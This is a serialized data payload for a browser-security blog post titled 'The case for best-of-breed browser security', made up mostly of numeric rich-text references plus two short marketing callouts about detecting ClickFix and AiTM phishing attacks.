,"socialLinks":47816,"profilePicture":47817},[25179],{"url":5032},{"json":47819,"links":48307},{"data":47820,"content":47821,"nodeType":1739},{},[47822,47828,47852,47858,47861,47868,47874,47880,47886,47893,47936,47942,47949,47955,47961,47968,47974,47980,47996,48021,48027,48030,48037,48044,48059,48066,48082,48089,48095,48102,48108,48115,48121,48124,48131,48137,48147,48162,48169,48175,48180,48187,48220,48225,48232,48247,48254,48269,48272,48279,48285,48291],{"data":47823,"content":47824,"nodeType":866},{},[47825],{"data":47826,"marks":47827,"value":34966,"nodeType":865},{},[],{"data":47829,"content":47830,"nodeType":866},{},[47831,47834,47840,47843,47849],{"data":47832,"marks":47833,"value":34973,"nodeType":865},{},[],{"data":47835,"content":47836,"nodeType":882},{"uri":4378},[47837],{"data":47838,"marks":47839,"value":34980,"nodeType":865},{},[],{"data":47841,"marks":47842,"value":3892,"nodeType":865},{},[],{"data":47844,"content":47845,"nodeType":882},{"uri":4378},[47846],{"data":47847,"marks":47848,"value":34990,"nodeType":865},{},[],{"data":47850,"marks":47851,"value":1048,"nodeType":865},{},[],{"data":47853,"content":47854,"nodeType":866},{},[47855],{"data":47856,"marks":47857,"value":35000,"nodeType":865},{},[],{"data":47859,"content":47860,"nodeType":953},{},[],{"data":47862,"content":47863,"nodeType":963},{},[47864],{"data":47865,"marks":47866,"value":35011,"nodeType":865},{},[47867],{"type":961},{"data":47869,"content":47870,"nodeType":866},{},[47871],{"data":47872,"marks":47873,"value":35018,"nodeType":865},{},[],{"data":47875,"content":47876,"nodeType":866},{},[47877],{"data":47878,"marks":47879,"value":35025,"nodeType":865},{},[],{"data":47881,"content":47882,"nodeType":866},{},[47883],{"data":47884,"marks":47885,"value":35032,"nodeType":865},{},[],{"data":47887,"content":47888,"nodeType":1458},{},[47889],{"data":47890,"marks":47891,"value":35040,"nodeType":865},{},[47892],{"type":961},{"data":47894,"content":47895,"nodeType":866},{},[47896,47899,47906,47909,47915,47918,47924,47927,47933],{"data":47897,"marks":47898,"value":21,"nodeType":865},{},[],{"data":47900,"content":47901,"nodeType":882},{"uri":35049},[47902],{"data":47903,"marks":47904,"value":35055,"nodeType":865},{},[47905],{"type":997},{"data":47907,"marks":47908,"value":35059,"nodeType":865},{},[],{"data":47910,"content":47911,"nodeType":882},{"uri":35062},[47912],{"data":47913,"marks":47914,"value":35067,"nodeType":865},{},[],{"data":47916,"marks":47917,"value":35071,"nodeType":865},{},[],{"data":47919,"content":47920,"nodeType":882},{"uri":35074},[47921],{"data":47922,"marks":47923,"value":35079,"nodeType":865},{},[],{"data":47925,"marks":47926,"value":35083,"nodeType":865},{},[],{"data":47928,"content":47929,"nodeType":882},{"uri":4236},[47930],{"data":47931,"marks":47932,"value":35090,"nodeType":865},{},[],{"data":47934,"marks":47935,"value":35094,"nodeType":865},{},[],{"data":47937,"content":47938,"nodeType":866},{},[47939],{"data":47940,"marks":47941,"value":35101,"nodeType":865},{},[],{"data":47943,"content":47944,"nodeType":1458},{},[47945],{"data":47946,"marks":47947,"value":35109,"nodeType":865},{},[47948],{"type":961},{"data":47950,"content":47951,"nodeType":866},{},[47952],{"data":47953,"marks":47954,"value":35116,"nodeType":865},{},[],{"data":47956,"content":47957,"nodeType":866},{},[47958],{"data":47959,"marks":47960,"value":35123,"nodeType":865},{},[],{"data":47962,"content":47963,"nodeType":1458},{},[47964],{"data":47965,"marks":47966,"value":35131,"nodeType":865},{},[47967],{"type":961},{"data":47969,"content":47970,"nodeType":866},{},[47971],{"data":47972,"marks":47973,"value":35138,"nodeType":865},{},[],{"data":47975,"content":47976,"nodeType":866},{},[47977],{"data":47978,"marks":47979,"value":35145,"nodeType":865},{},[],{"data":47981,"content":47982,"nodeType":866},{},[47983,47986,47993],{"data":47984,"marks":47985,"value":35152,"nodeType":865},{},[],{"data":47987,"content":47988,"nodeType":882},{"uri":1384},[47989],{"data":47990,"marks":47991,"value":35160,"nodeType":865},{},[47992],{"type":997},{"data":47994,"marks":47995,"value":35164,"nodeType":865},{},[],{"data":47997,"content":47998,"nodeType":866},{},[47999,48002,48008,48011,48018],{"data":48000,"marks":48001,"value":35171,"nodeType":865},{},[],{"data":48003,"content":48004,"nodeType":882},{"uri":4378},[48005],{"data":48006,"marks":48007,"value":35178,"nodeType":865},{},[],{"data":48009,"marks":48010,"value":35182,"nodeType":865},{},[],{"data":48012,"content":48013,"nodeType":882},{"uri":35185},[48014],{"data":48015,"marks":48016,"value":35191,"nodeType":865},{},[48017],{"type":997},{"data":48019,"marks":48020,"value":35195,"nodeType":865},{},[],{"data":48022,"content":48023,"nodeType":866},{},[48024],{"data":48025,"marks":48026,"value":35202,"nodeType":865},{},[],{"data":48028,"content":48029,"nodeType":953},{},[],{"data":48031,"content":48032,"nodeType":963},{},[48033],{"data":48034,"marks":48035,"value":35213,"nodeType":865},{},[48036],{"type":961},{"data":48038,"content":48039,"nodeType":1458},{},[48040],{"data":48041,"marks":48042,"value":35221,"nodeType":865},{},[48043],{"type":961},{"data":48045,"content":48046,"nodeType":866},{},[48047,48050,48056],{"data":48048,"marks":48049,"value":35228,"nodeType":865},{},[],{"data":48051,"content":48052,"nodeType":882},{"uri":25940},[48053],{"data":48054,"marks":48055,"value":35235,"nodeType":865},{},[],{"data":48057,"marks":48058,"value":35239,"nodeType":865},{},[],{"data":48060,"content":48061,"nodeType":1458},{},[48062],{"data":48063,"marks":48064,"value":35247,"nodeType":865},{},[48065],{"type":961},{"data":48067,"content":48068,"nodeType":866},{},[48069,48072,48079],{"data":48070,"marks":48071,"value":35254,"nodeType":865},{},[],{"data":48073,"content":48074,"nodeType":882},{"uri":10742},[48075],{"data":48076,"marks":48077,"value":35262,"nodeType":865},{},[48078],{"type":997},{"data":48080,"marks":48081,"value":35266,"nodeType":865},{},[],{"data":48083,"content":48084,"nodeType":1458},{},[48085],{"data":48086,"marks":48087,"value":35274,"nodeType":865},{},[48088],{"type":961},{"data":48090,"content":48091,"nodeType":866},{},[48092],{"data":48093,"marks":48094,"value":35281,"nodeType":865},{},[],{"data":48096,"content":48097,"nodeType":1458},{},[48098],{"data":48099,"marks":48100,"value":35289,"nodeType":865},{},[48101],{"type":961},{"data":48103,"content":48104,"nodeType":866},{},[48105],{"data":48106,"marks":48107,"value":35296,"nodeType":865},{},[],{"data":48109,"content":48110,"nodeType":1458},{},[48111],{"data":48112,"marks":48113,"value":35304,"nodeType":865},{},[48114],{"type":961},{"data":48116,"content":48117,"nodeType":866},{},[48118],{"data":48119,"marks":48120,"value":35311,"nodeType":865},{},[],{"data":48122,"content":48123,"nodeType":953},{},[],{"data":48125,"content":48126,"nodeType":963},{},[48127],{"data":48128,"marks":48129,"value":35322,"nodeType":865},{},[48130],{"type":961},{"data":48132,"content":48133,"nodeType":866},{},[48134],{"data":48135,"marks":48136,"value":35329,"nodeType":865},{},[],{"data":48138,"content":48139,"nodeType":1458},{},[48140,48144],{"data":48141,"marks":48142,"value":35337,"nodeType":865},{},[48143],{"type":961},{"data":48145,"marks":48146,"value":2157,"nodeType":865},{},[],{"data":48148,"content":48149,"nodeType":866},{},[48150,48153,48159],{"data":48151,"marks":48152,"value":35347,"nodeType":865},{},[],{"data":48154,"content":48155,"nodeType":882},{"uri":10328},[48156],{"data":48157,"marks":48158,"value":35354,"nodeType":865},{},[],{"data":48160,"marks":48161,"value":35358,"nodeType":865},{},[],{"data":48163,"content":48164,"nodeType":1458},{},[48165],{"data":48166,"marks":48167,"value":35366,"nodeType":865},{},[48168],{"type":961},{"data":48170,"content":48171,"nodeType":866},{},[48172],{"data":48173,"marks":48174,"value":35373,"nodeType":865},{},[],{"data":48176,"content":48179,"nodeType":925},{"target":48177},{"sys":48178},{"id":35378,"type":922,"linkType":923},[],{"data":48181,"content":48182,"nodeType":1458},{},[48183],{"data":48184,"marks":48185,"value":35387,"nodeType":865},{},[48186],{"type":961},{"data":48188,"content":48189,"nodeType":866},{},[48190,48193,48199,48202,48208,48211,48217],{"data":48191,"marks":48192,"value":35394,"nodeType":865},{},[],{"data":48194,"content":48195,"nodeType":882},{"uri":11102},[48196],{"data":48197,"marks":48198,"value":11095,"nodeType":865},{},[],{"data":48200,"marks":48201,"value":8756,"nodeType":865},{},[],{"data":48203,"content":48204,"nodeType":882},{"uri":11342},[48205],{"data":48206,"marks":48207,"value":19228,"nodeType":865},{},[],{"data":48209,"marks":48210,"value":35413,"nodeType":865},{},[],{"data":48212,"content":48213,"nodeType":882},{"uri":3643},[48214],{"data":48215,"marks":48216,"value":3649,"nodeType":865},{},[],{"data":48218,"marks":48219,"value":35423,"nodeType":865},{},[],{"data":48221,"content":48224,"nodeType":925},{"target":48222},{"sys":48223},{"id":35428,"type":922,"linkType":923},[],{"data":48226,"content":48227,"nodeType":1458},{},[48228],{"data":48229,"marks":48230,"value":35437,"nodeType":865},{},[48231],{"type":961},{"data":48233,"content":48234,"nodeType":866},{},[48235,48238,48244],{"data":48236,"marks":48237,"value":35444,"nodeType":865},{},[],{"data":48239,"content":48240,"nodeType":882},{"uri":25940},[48241],{"data":48242,"marks":48243,"value":35451,"nodeType":865},{},[],{"data":48245,"marks":48246,"value":1048,"nodeType":865},{},[],{"data":48248,"content":48249,"nodeType":1458},{},[48250],{"data":48251,"marks":48252,"value":35462,"nodeType":865},{},[48253],{"type":961},{"data":48255,"content":48256,"nodeType":866},{},[48257,48260,48266],{"data":48258,"marks":48259,"value":35469,"nodeType":865},{},[],{"data":48261,"content":48262,"nodeType":882},{"uri":26050},[48263],{"data":48264,"marks":48265,"value":35476,"nodeType":865},{},[],{"data":48267,"marks":48268,"value":35480,"nodeType":865},{},[],{"data":48270,"content":48271,"nodeType":953},{},[],{"data":48273,"content":48274,"nodeType":963},{},[48275],{"data":48276,"marks":48277,"value":35491,"nodeType":865},{},[48278],{"type":961},{"data":48280,"content":48281,"nodeType":866},{},[48282],{"data":48283,"marks":48284,"value":35498,"nodeType":865},{},[],{"data":48286,"content":48287,"nodeType":866},{},[48288],{"data":48289,"marks":48290,"value":35505,"nodeType":865},{},[],{"data":48292,"content":48293,"nodeType":866},{},[48294,48297,48304],{"data":48295,"marks":48296,"value":21,"nodeType":865},{},[],{"data":48298,"content":48299,"nodeType":882},{"uri":1728},[48300],{"data":48301,"marks":48302,"value":2812,"nodeType":865},{},[48303],{"type":997},{"data":48305,"marks":48306,"value":21,"nodeType":865},{},[],{"entries":48308},{"hyperlink":48309,"inline":48310,"block":48311},[],[],[48312,48330],{"sys":48313,"__typename":9270,"content":48314,"name":48329,"title":59},{"id":35378},{"json":48315},{"nodeType":1739,"data":48316,"content":48317},{},[48318],{"nodeType":866,"data":48319,"content":48320},{},[48321,48326],{"nodeType":865,"value":48322,"marks":48323,"data":48325},"In a 30-day POV at a ~4,500-employee financial services organization with a mature existing stack, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to every other tool in place",[48324],{"type":961},{},{"nodeType":865,"value":1048,"marks":48327,"data":48328},[],{},"Best of breed blog IB1",{"sys":48331,"__typename":9270,"content":48332,"name":48362,"title":59},{"id":35428},{"json":48333},{"nodeType":1739,"data":48334,"content":48335},{},[48336],{"nodeType":866,"data":48337,"content":48338},{},[48339,48343,48349,48353,48358],{"nodeType":865,"value":48340,"marks":48341,"data":48342},"Our ",[],{},{"nodeType":882,"data":48344,"content":48345},{"uri":3643},[48346],{"nodeType":865,"value":9005,"marks":48347,"data":48348},[],{},{"nodeType":865,"value":48350,"marks":48351,"data":48352}," has ",[],{},{"nodeType":865,"value":48354,"marks":48355,"data":48357},"tripled the new detections shipped per month",[48356],{"type":961},{},{"nodeType":865,"value":48359,"marks":48360,"data":48361}," — and as a dedicated browser security vendor, that's where every research dollar goes. When attackers are harnessing AI to develop tooling, deploy and tear-down infrastructure, and operate campaigns at scale, this capability is essential to stay ahead of the increased volume and variation in threats that users are encountering in the browser. ",[],{},"Best of breed blog IB2",{"items":48364},[],{},"The case for best-of-breed browser security",{"items":48368},[48369,49041,49762],{"__typename":1788,"sys":48370,"content":48371,"title":36303,"synopsis":36304,"hashTags":59,"publishedDate":36305,"slug":36306,"tagsCollection":49031,"authorsCollection":49037},{"id":35538},{"json":48372},{"data":48373,"content":48374,"nodeType":1739},{},[48375,48380,48386,48392,48398,48401,48408,48414,48424,48434,48439,48445,48448,48455,48461,48466,48472,48478,48571,48577,48580,48587,48593,48648,48661,48666,48672,48675,48682,48688,48695,48701,48707,48732,48738,48745,48751,48757,48763,48770,48776,48782,48788,48791,48798,48808,48814,48820,48827,48833,48839,48846,48852,48907,48920,48935,48942,48948,48955,48961,48967,48973,48978,48985,48991,48997,49002,49008,49014,49020,49025],{"data":48376,"content":48379,"nodeType":925},{"target":48377},{"sys":48378},{"id":35547,"type":922,"linkType":923},[],{"data":48381,"content":48382,"nodeType":866},{},[48383],{"data":48384,"marks":48385,"value":35555,"nodeType":865},{},[],{"data":48387,"content":48388,"nodeType":866},{},[48389],{"data":48390,"marks":48391,"value":35562,"nodeType":865},{},[],{"data":48393,"content":48394,"nodeType":866},{},[48395],{"data":48396,"marks":48397,"value":35569,"nodeType":865},{},[],{"data":48399,"content":48400,"nodeType":953},{},[],{"data":48402,"content":48403,"nodeType":963},{},[48404],{"data":48405,"marks":48406,"value":35580,"nodeType":865},{},[48407],{"type":961},{"data":48409,"content":48410,"nodeType":866},{},[48411],{"data":48412,"marks":48413,"value":35587,"nodeType":865},{},[],{"data":48415,"content":48416,"nodeType":866},{},[48417,48421],{"data":48418,"marks":48419,"value":35595,"nodeType":865},{},[48420],{"type":961},{"data":48422,"marks":48423,"value":35599,"nodeType":865},{},[],{"data":48425,"content":48426,"nodeType":866},{},[48427,48431],{"data":48428,"marks":48429,"value":35607,"nodeType":865},{},[48430],{"type":961},{"data":48432,"marks":48433,"value":35611,"nodeType":865},{},[],{"data":48435,"content":48438,"nodeType":925},{"target":48436},{"sys":48437},{"id":19097,"type":922,"linkType":923},[],{"data":48440,"content":48441,"nodeType":866},{},[48442],{"data":48443,"marks":48444,"value":35623,"nodeType":865},{},[],{"data":48446,"content":48447,"nodeType":953},{},[],{"data":48449,"content":48450,"nodeType":963},{},[48451],{"data":48452,"marks":48453,"value":35634,"nodeType":865},{},[48454],{"type":961},{"data":48456,"content":48457,"nodeType":866},{},[48458],{"data":48459,"marks":48460,"value":35641,"nodeType":865},{},[],{"data":48462,"content":48465,"nodeType":925},{"target":48463},{"sys":48464},{"id":35646,"type":922,"linkType":923},[],{"data":48467,"content":48468,"nodeType":866},{},[48469],{"data":48470,"marks":48471,"value":35654,"nodeType":865},{},[],{"data":48473,"content":48474,"nodeType":866},{},[48475],{"data":48476,"marks":48477,"value":35661,"nodeType":865},{},[],{"data":48479,"content":48480,"nodeType":1049},{},[48481,48497,48513,48529,48545,48558],{"data":48482,"content":48483,"nodeType":1003},{},[48484],{"data":48485,"content":48486,"nodeType":866},{},[48487,48490,48494],{"data":48488,"marks":48489,"value":35674,"nodeType":865},{},[],{"data":48491,"marks":48492,"value":35067,"nodeType":865},{},[48493],{"type":961},{"data":48495,"marks":48496,"value":35682,"nodeType":865},{},[],{"data":48498,"content":48499,"nodeType":1003},{},[48500],{"data":48501,"content":48502,"nodeType":866},{},[48503,48506,48510],{"data":48504,"marks":48505,"value":35692,"nodeType":865},{},[],{"data":48507,"marks":48508,"value":35697,"nodeType":865},{},[48509],{"type":961},{"data":48511,"marks":48512,"value":35701,"nodeType":865},{},[],{"data":48514,"content":48515,"nodeType":1003},{},[48516],{"data":48517,"content":48518,"nodeType":866},{},[48519,48522,48526],{"data":48520,"marks":48521,"value":35711,"nodeType":865},{},[],{"data":48523,"marks":48524,"value":35716,"nodeType":865},{},[48525],{"type":961},{"data":48527,"marks":48528,"value":35720,"nodeType":865},{},[],{"data":48530,"content":48531,"nodeType":1003},{},[48532],{"data":48533,"content":48534,"nodeType":866},{},[48535,48538,48542],{"data":48536,"marks":48537,"value":35730,"nodeType":865},{},[],{"data":48539,"marks":48540,"value":35735,"nodeType":865},{},[48541],{"type":961},{"data":48543,"marks":48544,"value":35739,"nodeType":865},{},[],{"data":48546,"content":48547,"nodeType":1003},{},[48548],{"data":48549,"content":48550,"nodeType":866},{},[48551,48555],{"data":48552,"marks":48553,"value":8525,"nodeType":865},{},[48554],{"type":961},{"data":48556,"marks":48557,"value":35753,"nodeType":865},{},[],{"data":48559,"content":48560,"nodeType":1003},{},[48561],{"data":48562,"content":48563,"nodeType":866},{},[48564,48568],{"data":48565,"marks":48566,"value":35764,"nodeType":865},{},[48567],{"type":961},{"data":48569,"marks":48570,"value":35768,"nodeType":865},{},[],{"data":48572,"content":48573,"nodeType":866},{},[48574],{"data":48575,"marks":48576,"value":35775,"nodeType":865},{},[],{"data":48578,"content":48579,"nodeType":953},{},[],{"data":48581,"content":48582,"nodeType":1458},{},[48583],{"data":48584,"marks":48585,"value":35786,"nodeType":865},{},[48586],{"type":961},{"data":48588,"content":48589,"nodeType":866},{},[48590],{"data":48591,"marks":48592,"value":35793,"nodeType":865},{},[],{"data":48594,"content":48595,"nodeType":1049},{},[48596,48609,48622,48635],{"data":48597,"content":48598,"nodeType":1003},{},[48599],{"data":48600,"content":48601,"nodeType":866},{},[48602,48605],{"data":48603,"marks":48604,"value":35806,"nodeType":865},{},[],{"data":48606,"marks":48607,"value":35811,"nodeType":865},{},[48608],{"type":961},{"data":48610,"content":48611,"nodeType":1003},{},[48612],{"data":48613,"content":48614,"nodeType":866},{},[48615,48618],{"data":48616,"marks":48617,"value":35821,"nodeType":865},{},[],{"data":48619,"marks":48620,"value":35826,"nodeType":865},{},[48621],{"type":961},{"data":48623,"content":48624,"nodeType":1003},{},[48625],{"data":48626,"content":48627,"nodeType":866},{},[48628,48631],{"data":48629,"marks":48630,"value":35836,"nodeType":865},{},[],{"data":48632,"marks":48633,"value":35841,"nodeType":865},{},[48634],{"type":961},{"data":48636,"content":48637,"nodeType":1003},{},[48638],{"data":48639,"content":48640,"nodeType":866},{},[48641,48644],{"data":48642,"marks":48643,"value":35851,"nodeType":865},{},[],{"data":48645,"marks":48646,"value":35856,"nodeType":865},{},[48647],{"type":961},{"data":48649,"content":48650,"nodeType":866},{},[48651,48654,48658],{"data":48652,"marks":48653,"value":35863,"nodeType":865},{},[],{"data":48655,"marks":48656,"value":35868,"nodeType":865},{},[48657],{"type":961},{"data":48659,"marks":48660,"value":35872,"nodeType":865},{},[],{"data":48662,"content":48665,"nodeType":925},{"target":48663},{"sys":48664},{"id":35877,"type":922,"linkType":923},[],{"data":48667,"content":48668,"nodeType":866},{},[48669],{"data":48670,"marks":48671,"value":35885,"nodeType":865},{},[],{"data":48673,"content":48674,"nodeType":953},{},[],{"data":48676,"content":48677,"nodeType":963},{},[48678],{"data":48679,"marks":48680,"value":35896,"nodeType":865},{},[48681],{"type":961},{"data":48683,"content":48684,"nodeType":866},{},[48685],{"data":48686,"marks":48687,"value":35903,"nodeType":865},{},[],{"data":48689,"content":48690,"nodeType":1458},{},[48691],{"data":48692,"marks":48693,"value":35911,"nodeType":865},{},[48694],{"type":961},{"data":48696,"content":48697,"nodeType":866},{},[48698],{"data":48699,"marks":48700,"value":35918,"nodeType":865},{},[],{"data":48702,"content":48703,"nodeType":866},{},[48704],{"data":48705,"marks":48706,"value":35925,"nodeType":865},{},[],{"data":48708,"content":48709,"nodeType":866},{},[48710,48713,48719,48722,48729],{"data":48711,"marks":48712,"value":35932,"nodeType":865},{},[],{"data":48714,"content":48715,"nodeType":882},{"uri":4378},[48716],{"data":48717,"marks":48718,"value":35939,"nodeType":865},{},[],{"data":48720,"marks":48721,"value":35943,"nodeType":865},{},[],{"data":48723,"content":48724,"nodeType":882},{"uri":35946},[48725],{"data":48726,"marks":48727,"value":35952,"nodeType":865},{},[48728],{"type":997},{"data":48730,"marks":48731,"value":35956,"nodeType":865},{},[],{"data":48733,"content":48734,"nodeType":866},{},[48735],{"data":48736,"marks":48737,"value":35963,"nodeType":865},{},[],{"data":48739,"content":48740,"nodeType":1458},{},[48741],{"data":48742,"marks":48743,"value":35971,"nodeType":865},{},[48744],{"type":961},{"data":48746,"content":48747,"nodeType":866},{},[48748],{"data":48749,"marks":48750,"value":35978,"nodeType":865},{},[],{"data":48752,"content":48753,"nodeType":866},{},[48754],{"data":48755,"marks":48756,"value":35985,"nodeType":865},{},[],{"data":48758,"content":48759,"nodeType":866},{},[48760],{"data":48761,"marks":48762,"value":35992,"nodeType":865},{},[],{"data":48764,"content":48765,"nodeType":1458},{},[48766],{"data":48767,"marks":48768,"value":36000,"nodeType":865},{},[48769],{"type":961},{"data":48771,"content":48772,"nodeType":866},{},[48773],{"data":48774,"marks":48775,"value":36007,"nodeType":865},{},[],{"data":48777,"content":48778,"nodeType":866},{},[48779],{"data":48780,"marks":48781,"value":36014,"nodeType":865},{},[],{"data":48783,"content":48784,"nodeType":866},{},[48785],{"data":48786,"marks":48787,"value":36021,"nodeType":865},{},[],{"data":48789,"content":48790,"nodeType":953},{},[],{"data":48792,"content":48793,"nodeType":963},{},[48794],{"data":48795,"marks":48796,"value":36032,"nodeType":865},{},[48797],{"type":961},{"data":48799,"content":48800,"nodeType":866},{},[48801,48805],{"data":48802,"marks":48803,"value":36040,"nodeType":865},{},[48804],{"type":961},{"data":48806,"marks":48807,"value":36044,"nodeType":865},{},[],{"data":48809,"content":48810,"nodeType":866},{},[48811],{"data":48812,"marks":48813,"value":36051,"nodeType":865},{},[],{"data":48815,"content":48816,"nodeType":866},{},[48817],{"data":48818,"marks":48819,"value":36058,"nodeType":865},{},[],{"data":48821,"content":48822,"nodeType":1458},{},[48823],{"data":48824,"marks":48825,"value":36066,"nodeType":865},{},[48826],{"type":961},{"data":48828,"content":48829,"nodeType":866},{},[48830],{"data":48831,"marks":48832,"value":36073,"nodeType":865},{},[],{"data":48834,"content":48835,"nodeType":866},{},[48836],{"data":48837,"marks":48838,"value":36080,"nodeType":865},{},[],{"data":48840,"content":48841,"nodeType":1458},{},[48842],{"data":48843,"marks":48844,"value":36088,"nodeType":865},{},[48845],{"type":961},{"data":48847,"content":48848,"nodeType":866},{},[48849],{"data":48850,"marks":48851,"value":36095,"nodeType":865},{},[],{"data":48853,"content":48854,"nodeType":1049},{},[48855,48868,48881,48894],{"data":48856,"content":48857,"nodeType":1003},{},[48858],{"data":48859,"content":48860,"nodeType":866},{},[48861,48865],{"data":48862,"marks":48863,"value":36109,"nodeType":865},{},[48864],{"type":961},{"data":48866,"marks":48867,"value":36113,"nodeType":865},{},[],{"data":48869,"content":48870,"nodeType":1003},{},[48871],{"data":48872,"content":48873,"nodeType":866},{},[48874,48878],{"data":48875,"marks":48876,"value":36124,"nodeType":865},{},[48877],{"type":961},{"data":48879,"marks":48880,"value":36128,"nodeType":865},{},[],{"data":48882,"content":48883,"nodeType":1003},{},[48884],{"data":48885,"content":48886,"nodeType":866},{},[48887,48891],{"data":48888,"marks":48889,"value":36139,"nodeType":865},{},[48890],{"type":961},{"data":48892,"marks":48893,"value":36143,"nodeType":865},{},[],{"data":48895,"content":48896,"nodeType":1003},{},[48897],{"data":48898,"content":48899,"nodeType":866},{},[48900,48904],{"data":48901,"marks":48902,"value":36154,"nodeType":865},{},[48903],{"type":961},{"data":48905,"marks":48906,"value":36158,"nodeType":865},{},[],{"data":48908,"content":48909,"nodeType":866},{},[48910,48913,48917],{"data":48911,"marks":48912,"value":36165,"nodeType":865},{},[],{"data":48914,"marks":48915,"value":36170,"nodeType":865},{},[48916],{"type":961},{"data":48918,"marks":48919,"value":36174,"nodeType":865},{},[],{"data":48921,"content":48922,"nodeType":866},{},[48923,48926,48932],{"data":48924,"marks":48925,"value":36181,"nodeType":865},{},[],{"data":48927,"content":48928,"nodeType":882},{"uri":1335},[48929],{"data":48930,"marks":48931,"value":36188,"nodeType":865},{},[],{"data":48933,"marks":48934,"value":36192,"nodeType":865},{},[],{"data":48936,"content":48937,"nodeType":1458},{},[48938],{"data":48939,"marks":48940,"value":36200,"nodeType":865},{},[48941],{"type":961},{"data":48943,"content":48944,"nodeType":866},{},[48945],{"data":48946,"marks":48947,"value":36207,"nodeType":865},{},[],{"data":48949,"content":48950,"nodeType":866},{},[48951],{"data":48952,"marks":48953,"value":36215,"nodeType":865},{},[48954],{"type":961},{"data":48956,"content":48957,"nodeType":866},{},[48958],{"data":48959,"marks":48960,"value":36222,"nodeType":865},{},[],{"data":48962,"content":48963,"nodeType":866},{},[48964],{"data":48965,"marks":48966,"value":36229,"nodeType":865},{},[],{"data":48968,"content":48969,"nodeType":866},{},[48970],{"data":48971,"marks":48972,"value":36236,"nodeType":865},{},[],{"data":48974,"content":48977,"nodeType":925},{"target":48975},{"sys":48976},{"id":36241,"type":922,"linkType":923},[],{"data":48979,"content":48980,"nodeType":1458},{},[48981],{"data":48982,"marks":48983,"value":36250,"nodeType":865},{},[48984],{"type":961},{"data":48986,"content":48987,"nodeType":866},{},[48988],{"data":48989,"marks":48990,"value":36257,"nodeType":865},{},[],{"data":48992,"content":48993,"nodeType":866},{},[48994],{"data":48995,"marks":48996,"value":36264,"nodeType":865},{},[],{"data":48998,"content":49001,"nodeType":925},{"target":48999},{"sys":49000},{"id":26830,"type":922,"linkType":923},[],{"data":49003,"content":49004,"nodeType":866},{},[49005],{"data":49006,"marks":49007,"value":36276,"nodeType":865},{},[],{"data":49009,"content":49010,"nodeType":866},{},[49011],{"data":49012,"marks":49013,"value":36283,"nodeType":865},{},[],{"data":49015,"content":49016,"nodeType":866},{},[49017],{"data":49018,"marks":49019,"value":36290,"nodeType":865},{},[],{"data":49021,"content":49024,"nodeType":925},{"target":49022},{"sys":49023},{"id":36295,"type":922,"linkType":923},[],{"data":49026,"content":49027,"nodeType":866},{},[49028],{"data":49029,"marks":49030,"value":21,"nodeType":865},{},[],{"items":49032},[49033,49035],{"sys":49034,"name":297},{"id":2828},{"sys":49036,"name":2825},{"id":2824},{"items":49038},[49039],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":49040},{"url":5032},{"__typename":1788,"sys":49042,"content":49043,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":49752,"authorsCollection":49758},{"id":15449},{"json":49044},{"data":49045,"content":49046,"nodeType":1739},{},[49047,49062,49077,49092,49097,49100,49107,49113,49119,49125,49131,49138,49141,49148,49154,49160,49166,49171,49178,49193,49199,49205,49218,49225,49249,49262,49268,49292,49299,49323,49329,49336,49351,49357,49363,49368,49374,49381,49396,49402,49418,49424,49427,49434,49440,49515,49521,49534,49537,49562,49577,49583,49589,49592,49599,49614,49620,49626,49641,49644,49651,49657,49687,49693,49708,49723,49728,49731,49737],{"data":49048,"content":49049,"nodeType":866},{},[49050,49053,49059],{"data":49051,"marks":49052,"value":18958,"nodeType":865},{},[],{"data":49054,"content":49055,"nodeType":882},{"uri":18961},[49056],{"data":49057,"marks":49058,"value":18966,"nodeType":865},{},[],{"data":49060,"marks":49061,"value":18970,"nodeType":865},{},[],{"data":49063,"content":49064,"nodeType":866},{},[49065,49068,49074],{"data":49066,"marks":49067,"value":18977,"nodeType":865},{},[],{"data":49069,"content":49070,"nodeType":882},{"uri":18980},[49071],{"data":49072,"marks":49073,"value":18985,"nodeType":865},{},[],{"data":49075,"marks":49076,"value":18989,"nodeType":865},{},[],{"data":49078,"content":49079,"nodeType":866},{},[49080,49083,49089],{"data":49081,"marks":49082,"value":18996,"nodeType":865},{},[],{"data":49084,"content":49085,"nodeType":882},{"uri":18999},[49086],{"data":49087,"marks":49088,"value":15454,"nodeType":865},{},[],{"data":49090,"marks":49091,"value":19007,"nodeType":865},{},[],{"data":49093,"content":49096,"nodeType":925},{"target":49094},{"sys":49095},{"id":19012,"type":922,"linkType":923},[],{"data":49098,"content":49099,"nodeType":953},{},[],{"data":49101,"content":49102,"nodeType":963},{},[49103],{"data":49104,"marks":49105,"value":19024,"nodeType":865},{},[49106],{"type":961},{"data":49108,"content":49109,"nodeType":866},{},[49110],{"data":49111,"marks":49112,"value":19031,"nodeType":865},{},[],{"data":49114,"content":49115,"nodeType":866},{},[49116],{"data":49117,"marks":49118,"value":19038,"nodeType":865},{},[],{"data":49120,"content":49121,"nodeType":866},{},[49122],{"data":49123,"marks":49124,"value":19045,"nodeType":865},{},[],{"data":49126,"content":49127,"nodeType":866},{},[49128],{"data":49129,"marks":49130,"value":19052,"nodeType":865},{},[],{"data":49132,"content":49133,"nodeType":866},{},[49134],{"data":49135,"marks":49136,"value":19060,"nodeType":865},{},[49137],{"type":961},{"data":49139,"content":49140,"nodeType":953},{},[],{"data":49142,"content":49143,"nodeType":963},{},[49144],{"data":49145,"marks":49146,"value":19071,"nodeType":865},{},[49147],{"type":961},{"data":49149,"content":49150,"nodeType":866},{},[49151],{"data":49152,"marks":49153,"value":19078,"nodeType":865},{},[],{"data":49155,"content":49156,"nodeType":866},{},[49157],{"data":49158,"marks":49159,"value":19085,"nodeType":865},{},[],{"data":49161,"content":49162,"nodeType":866},{},[49163],{"data":49164,"marks":49165,"value":19092,"nodeType":865},{},[],{"data":49167,"content":49170,"nodeType":925},{"target":49168},{"sys":49169},{"id":19097,"type":922,"linkType":923},[],{"data":49172,"content":49173,"nodeType":1458},{},[49174],{"data":49175,"marks":49176,"value":19106,"nodeType":865},{},[49177],{"type":961},{"data":49179,"content":49180,"nodeType":866},{},[49181,49184,49190],{"data":49182,"marks":49183,"value":19113,"nodeType":865},{},[],{"data":49185,"content":49186,"nodeType":882},{"uri":8581},[49187],{"data":49188,"marks":49189,"value":19120,"nodeType":865},{},[],{"data":49191,"marks":49192,"value":19124,"nodeType":865},{},[],{"data":49194,"content":49195,"nodeType":866},{},[49196],{"data":49197,"marks":49198,"value":19131,"nodeType":865},{},[],{"data":49200,"content":49201,"nodeT